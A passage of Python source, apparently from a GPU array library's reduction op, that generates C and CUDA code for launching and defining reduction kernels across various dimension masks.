ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&dim_0,
(void *)&PyGpuArray_DIMS(%(x)s)[0],
(void *)&PyGpuArray_DIMS(%(x)s)[1],
(void *)%(x)s->ga.data, (void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data, (void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(%(k_var)s, 3, n_blocks, n_threads, n_shared, kernel_params);
%(err_check)s
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_010(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
makecall_inner = self._makecall(node, name, x, z, fail, pattern="010_inner")
pattern = "".join(str(i) for i in self.reduce_mask)
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
k_var = f"kernel_reduce_010_AD_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
{
//int n_summations = PyGpuArray_DIMS(%(x)s)[0] * PyGpuArray_DIMS(%(x)s)[2];
//if ((n_summations >= 15 * 32) && (PyGpuArray_DIMS(%(x)s)[2]>=16))
if (1) // if the alternative is less buggy, consider not using this branch
{
// If there are a lot of summations to do, then we can use simple parallelization -
// use each thread to do one sum.
// we might as well launch blocks of 32 threads because that's the warp size.
// we could schedule more threads if we were maxing out the gridsize below, but
// the gridsize is way more than the physical hardware and I think 32 threads
// on a huge grid is enough to fully use the hardware.
size_t n_threads[3] = {32, 1, 1};
// We kindof reshape the input implicitly to something 4D:
// the shape A,B,C -> A, B, D, E
// where C <= D*E < C+32
// where E==32
size_t A = PyGpuArray_DIMS(%(x)s)[0];
size_t B = PyGpuArray_DIMS(%(x)s)[1];
size_t C = PyGpuArray_DIMS(%(x)s)[2];
size_t D = C/32;
if (32*D < C) D+= 1;
assert ((C <= 32*D) && (32*D < C+32));
// The gridsize would ideally be (A, D). But we do the following logic to make
// sure we don't ask for a grid that is too big.
size_t n_blocks[3] = {A, D, 1};
if (n_blocks[0] > 4096) n_blocks[0] = 4096;
if (n_blocks[0]*n_blocks[1] > 4096) n_blocks[1] = 4096/n_blocks[0];
ssize_t stride_A0 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[1]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&A, (void *)&B, (void *)&C, (void *)&D,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, 0, kernel_params);
%(err_check)s
}
else
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min((size_t) 32, PyGpuArray_DIMS(%(x)s)[2]), 1, 1};
while( (n_threads[0]*(n_threads[1]+1)<=256)
&& (n_threads[1]<PyGpuArray_DIMS(%(x)s)[1])){
n_threads[1]++;
}
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t)4096), 1, 1};
n_blocks[1] = std::min(
ceil_intdiv(PyGpuArray_DIMS(%(x)s)[2],
(size_t)n_threads[0]),
(size_t)(4096 / n_blocks[0])
);
if(std::min(std::min(PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s),
PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s)),
PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s))
==PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s)
&& n_blocks[1]==ceil_intdiv(PyGpuArray_DIMS(%(x)s)[2],
(size_t)n_threads[0])){
if(verbose>1)
printf("n_block.x.1=%%d, n_block.x.2=%%d, n_block.y.1=%%d, n_block.y.2=%%d,\\n",
PyGpuArray_DIMS(%(x)s)[0],4096,
ceil_intdiv(PyGpuArray_DIMS(%(x)s)[2],(size_t)n_threads[0]),
(size_t)(4096 / n_blocks[0]));
assert(n_threads[0]<=32);
%(makecall_inner)s
}else{
n_threads[0] = std::min(PyGpuArray_DIMS(%(x)s)[1],
(size_t) 256);
n_blocks[0] = std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t)4096);
n_blocks[1] = std::min(
PyGpuArray_DIMS(%(x)s)[2],
(size_t)(4096 / n_blocks[0])
);
%(makecall)s
}
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_0101(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3], (size_t) 256), 1, 1};
while (n_threads[0] * n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[1]) break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[0], PyGpuArray_DIMS(%(x)s)[2], 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_100(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
k_var = f"kernel_reduce_010_AD_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
# use threadIdx.x for i0
# use blockIdx.x for i1
# use blockIdx.y for i2
print(
"""
{
int verbose = %(verbose)s;
if (PyGpuArray_STRIDES(%(x)s)[2] != sizeof(%(in_dtype)s)){
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 256), 1, 1};
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t)4096), 1, 1};
while (n_blocks[0] * (n_blocks[1]+1) <= 4096 &&
n_blocks[1] <= PyGpuArray_DIMS(%(x)s)[2])
{
n_blocks[1] += 1;
}
%(makecall)s
}
else
{ // reuse 010_AD kernel, we transpose the 2 first dim
// See the reduction for the real 010_AD kernel for
// explanation. We do this to get coalesced read.
size_t n_threads[3] = {32, 1, 1};
size_t A = PyGpuArray_DIMS(%(x)s)[1];
size_t B = PyGpuArray_DIMS(%(x)s)[0];
size_t C = PyGpuArray_DIMS(%(x)s)[2];
size_t D = C/32;
if (32*D < C) D+= 1;
assert ((C <= 32*D) && (32*D < C+32));
// The gridsize would ideally be (A, D). But we do the following logic to make
// sure we don't ask for a grid that is too big.
size_t n_blocks[3] = {A, D, 1};
if (n_blocks[0] > 4096) n_blocks[0] = 4096;
if (n_blocks[0]*n_blocks[1] > 4096) n_blocks[1] = 4096/n_blocks[0];
size_t n_shared = 0;
ssize_t stride_A0 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[1]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&A, (void *)&B, (void *)&C, (void *)&D,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, 0, kernel_params);
%(err_check)s
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_110(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t) 256), 1, 1};
while (n_threads[0]*n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[0])
break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[2], 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_001(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[2], (size_t) 256), 1, 1};
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 4096), 1, 1};
while (n_blocks[0] * n_blocks[1] <= 4096)
{
if (n_blocks[1] > PyGpuArray_DIMS(%(x)s)[1])
break;
n_blocks[1] += 1;
}
n_blocks[1] -= 1;
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_101(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(
node,
name,
x,
z,
fail,
extra_dims=[("size_t one = 1;", "(void *) &one")],
extra_strides=[("ssize_t sone = 1;", "(void *) &sone")],
pattern="1011",
)
print(
"""
{
int verbose = %(verbose)s;
// size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3],
// (size_t) 256), 1, 1};
size_t n_threads[3] = {1, 1, 1};
while (n_threads[0] * (n_threads[1]+1) <= 256) ++n_threads[1];
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[2])
n_threads[1] = PyGpuArray_DIMS(%(x)s)[2];
while (n_threads[0] * n_threads[1] * (n_threads[2]+1) <= 256)
++n_threads[2];
if (n_threads[2] > 64)
n_threads[2] = 64;
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
n_threads[2] = PyGpuArray_DIMS(%(x)s)[0];
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[1], 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_111(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[2], (size_t) 256), 1, 1};
//get as many y threads as we can fit
while (n_threads[0] * n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[1])
break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
//get as many z threads as we can fit
while (n_threads[0] * n_threads[1] * n_threads[2] <= 256)
{
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
break;
n_threads[2] += 1;
}
n_threads[2] -= 1;
//Maximum for Fermi GPU on that dimensions.
n_threads[2] = std::min(n_threads[2], (size_t)64);
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_0011(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
print(
"""
{
int verbose = %(verbose)s;
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 4096), 1, 1};
while (n_blocks[0] * n_blocks[1] <= 4096 &&
n_blocks[1] < PyGpuArray_DIMS(%(x)s)[1])
{
n_blocks[1] += 1;
}
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3], (size_t) 256), 1, 1};
while (n_threads[0] * n_threads[1] <= 256
&& n_threads[1] < PyGpuArray_DIMS(%(x)s)[2]
&& n_threads[0] * n_threads[1] * sizeof(%(acc_dtype)s) <=(15*1024-200))
{
n_threads[1] += 1;
}
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_1111(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[2], (size_t) 256), 1, 1};
//get as many y threads as we can fit
while (n_threads[0] * n_threads[1] <= 256)
{
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[1])
break;
n_threads[1] += 1;
}
n_threads[1] -= 1;
//get as many z threads as we can fit
while (n_threads[0] * n_threads[1] * n_threads[2] <= 256)
{
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
break;
n_threads[2] += 1;
}
n_threads[2] -= 1;
//Maximum for Fermi GPU on that dimensions.
n_threads[2] = std::min(n_threads[2], (size_t)64);
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_1011(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[3], (size_t) 256), 1, 1};
while (n_threads[0] * (n_threads[1]+1) <= 256) ++n_threads[1];
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[2])
n_threads[1] = PyGpuArray_DIMS(%(x)s)[2];
while (n_threads[0] * n_threads[1] * (n_threads[2]+1) <= 256) ++n_threads[2];
if (n_threads[2] > 64)
n_threads[2] = 64;
if (n_threads[2] > PyGpuArray_DIMS(%(x)s)[0])
n_threads[2] = PyGpuArray_DIMS(%(x)s)[0];
size_t n_blocks[3] = {PyGpuArray_DIMS(%(x)s)[1], 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_cache_version_apply(self, node):
version = [
24,
self.verbose,
] # the version corresponding to the c code in this Op
# now we insert versions for the ops on which we depend...
scalar_node = Apply(
self.scalar_op,
[Scalar(dtype=input.type.dtype)() for input in node.inputs],
[Scalar(dtype=output.type.dtype)() for output in node.outputs],
)
version.extend(self.scalar_op.c_code_cache_version_apply(scalar_node))
for i in node.inputs + node.outputs:
version.extend(Scalar(dtype=i.type.dtype).c_code_cache_version())
version.extend(self.kernel_version(node))
if all(version):
return tuple(version)
else:
return ()
def gpu_kernels(self, node, nodename):
nd_in = len(self.reduce_mask)
in_dtype = node.inputs[0].dtype
out_dtype = node.outputs[0].dtype
acc_dtype = self._acc_dtype(node.inputs[0].dtype)
assign_dtype = in_dtype
flags = Kernel.get_flags(in_dtype, acc_dtype, out_dtype)
in_type = gpuarray.dtype_to_ctype(in_dtype)
out_type = gpuarray.dtype_to_ctype(out_dtype)
acc_type = gpuarray.dtype_to_ctype(acc_dtype)
load_in = load_w(in_dtype)
write_out = write_w(out_dtype)
kernels = []
if all(i == 1 for i in self.reduce_mask):
# this kernel is ok for up to a few thousand elements, but
# it only runs on ONE multiprocessor
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node, nodename, "myresult", load_in + "(A[i0])", {}, True
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
kname = "kernel_reduce_ccontig"
k_var = "kernel_reduce_ccontig_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0,
const %(in_type)s *A, const ga_size offset_A,
%(out_type)s *Z, const ga_size offset_Z)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.x; i0 < d0; i0 += blockDim.x)
{
%(reduce_fct)s
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = ["uintp", gpuarray.GpuArray, "uintp", gpuarray.GpuArray, "uintp"]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1,):
# this kernel is ok for up to a few thousand elements, but
# it only runs on ONE multiprocessor
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node, nodename, "myresult", load_in + "(A[i0 * sA0])", {}, True
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
kname = "kernel_reduce_1"
k_var = "kernel_reduce_1_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0,
%(out_type)s * Z, const ga_size offset_Z)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.x; i0 < d0; i0 += blockDim.x)
{
%(reduce_fct)s
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
gpuarray.GpuArray,
"uintp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1):
# this kernel is ok for up to a few thousand elements, but
# it only runs on ONE multiprocessor
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1])",
{},
True,
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
kname = "kernel_reduce_11"
k_var = "kernel_reduce_11_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1,
%(out_type)s * Z, const ga_size offset_Z)
{
const int threadCount = blockDim.x * blockDim.y;
const int threadNum = threadIdx.y*blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.y; i0 < d0; i0 += blockDim.y)
{
for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
# 01, 011, 0111
if (
0 == self.reduce_mask[0]
and all(self.reduce_mask[1:])
and nd_in in [2, 3, 4]
):
# this kernel uses one block for each row.
# threads per block for each element per row.
N_pattern = "".join(["1"] * (nd_in - 1))
# TODO: is it faster to hardcode sA3, etc. in the later
# code, rather than have the for_* variables declare them
# and the later code use their names?
if nd_in == 2:
for_i1 = "for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)"
first_i1 = "threadIdx.x"
sA1 = "sA1"
for_i2 = "int i2=0, sA2=0;"
sA2 = "0"
first_i2 = "0"
for_i3 = "int i3=0, sA3=0;"
sA3 = "0"
first_i3 = "0"
if nd_in == 3:
for_i1 = "for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)"
first_i1 = "threadIdx.y"
sA1 = "sA1"
for_i2 = "for (int i2 = threadIdx.x; i2 < d2; i2 += blockDim.x)"
first_i2 = "threadIdx.x"
sA2 = "sA2"
for_i3 = "int i3=0, sA3=0;"
first_i3 = 0
sA3 = "0"
if nd_in == 4:
for_i1 = "for (int i1 = threadIdx.z; i1 < d1; i1 += blockDim.z)"
first_i1 = "threadIdx.z"
sA1 = "sA1"
for_i2 = "for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)"
first_i2 = "threadIdx.y"
sA2 = "sA2"
for_i3 = "for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)"
first_i3 = "threadIdx.x"
sA3 = "sA3"
reducebuf = self._k_reduce_buf("Z[i0 * sZ0]", node, nodename, sub={})
param_dim = ",".join([f"const ga_size d{i}" for i in range(nd_in)])
param_strides = ",".join([f"const ga_ssize sA{i}" for i in range(nd_in)])
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_init = self._assign_init(
load_in
+ "(A[%(first_i3)s * %(sA3)s + %(first_i2)s * %(sA2)s + %(first_i1)s * %(sA1)s + i0 * sA0])"
% locals(),
assign_dtype,
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i3 * sA3 + i2 * sA2 + i1 * sA1 + i0 * sA0])",
{},
True,
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x){
myresult = %(reduce_init)s;
%(for_i1)s{
%(for_i2)s{
%(for_i3)s{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 1, 0) or self.reduce_mask == (1, 0):
# this kernel uses one block for each column,
# threads per block for each element per column.
# TODO: This kernel is pretty inefficient in terms of reading, because if A is
# c_contiguous (typical case) then each warp is accessing non-contigous
# memory (a segment of a column).
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i2*sZ1]", node, nodename, sub={}
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + threadIdx.x * sA1 + i2 * sA2])", assign_dtype
)
kname = "kernel_reduce_010"
k_var = "kernel_reduce_010_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0, const ga_ssize sZ1)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i2 = blockIdx.y; i2 < d2; i2 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)
{
%(reduce_fct)s;
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask in [(0, 1, 0), (1, 0), (1, 0, 0)]:
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(X[a * sX0 + b * sX1 + c * sX2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(X[a * sX0 + 0 * sX1 + c * sX2])", assign_dtype
)
kname = "kernel_reduce_010_AD"
k_var = "kernel_reduce_010_AD_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size A, const ga_size B, const ga_size C, const ga_size D,
const %(in_type)s *X, const ga_size offset_X,
const ga_ssize sX0, const ga_ssize sX1, const ga_ssize sX2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0, const ga_ssize sZ1)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
X = (const %(in_type)s *)(((char *)X)+offset_X);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = 0;
for (int a = blockIdx.x; a < A; a += gridDim.x)
{
for (int i2_D = blockIdx.y; i2_D < D; i2_D += gridDim.y)
{
int c = i2_D * 32 + threadIdx.x;
if (c < C)
{
myresult = %(reduce_init)s;
for (int b = 0; b < B; ++b)
{
%(reduce_fct)s;
}
Z[a * sZ0 + c * sZ1] = %(write_out)s(myresult);
}
}
}
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 1, 0):
#
# This kernel is optimized when the inner most dimensions
# have the smallest stride.
# this kernel uses one block for multiple column(up to 32TODO),
# threads per block for each element per column.
# thread.x = dim 2 contiguous
# thread.y = dim 1
# block.x = dim 0
# block.y = dim 1 rest
init = self._k_init(node, nodename)
decl, kname, params, k_var = self._k_decl(
node, nodename, pattern="010_inner"
)
reducebuf = self._k_reduce_buf_multiple(
"Z[i0 * sZ0 + i2*sZ1]", node, nodename, "blockDim.x"
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + 0 * sA1 + i2 * sA2])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i2 = blockIdx.y*blockDim.x+threadIdx.x; i2 < d2; i2 += gridDim.y*blockDim.x)
{
myresult = %(reduce_init)s;
for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)
{
%(reduce_fct)s;
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1, 0):
# this kernel uses one block for each column,
# threads per block for each element per column.
# TODO: This kernel is pretty inefficient in terms of reading, because if A is
# c_contiguous (typical case) then each warp is accessing non-contigous
# memory (a segment of a column).
reducebuf = self._k_reduce_buf(
"Z[blockIdx.x * sZ0]", node, nodename, sub={}
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + blockIdx.x * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[blockIdx.x * sA2])", assign_dtype
)
kname = "kernel_reduce_110"
k_var = "kernel_reduce_110_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0)
{
const int threadCount = blockDim.x * blockDim.y;
const int threadNum = threadIdx.y * blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.y; i0 < d0; i0 += blockDim.y)
{
for (int i1 = threadIdx.x; i1 < d1; i1 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 0, 0):
reducebuf = self._k_reduce_buf(
"Z[i1 * sZ0 + i2 * sZ1]", node, nodename, sub={}
)
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i1 * sA1 + i2 * sA2])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i2 = blockIdx.y; i2 < d2; i2 += gridDim.y)
{
for (int i1 = blockIdx.x; i1 < d1; i1 += gridDim.x)
{
myresult = %(reduce_init)s;
for (int i0 = threadIdx.x; i0 < d0; i0 += blockDim.x)
{
%(reduce_fct)s
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1, 1):
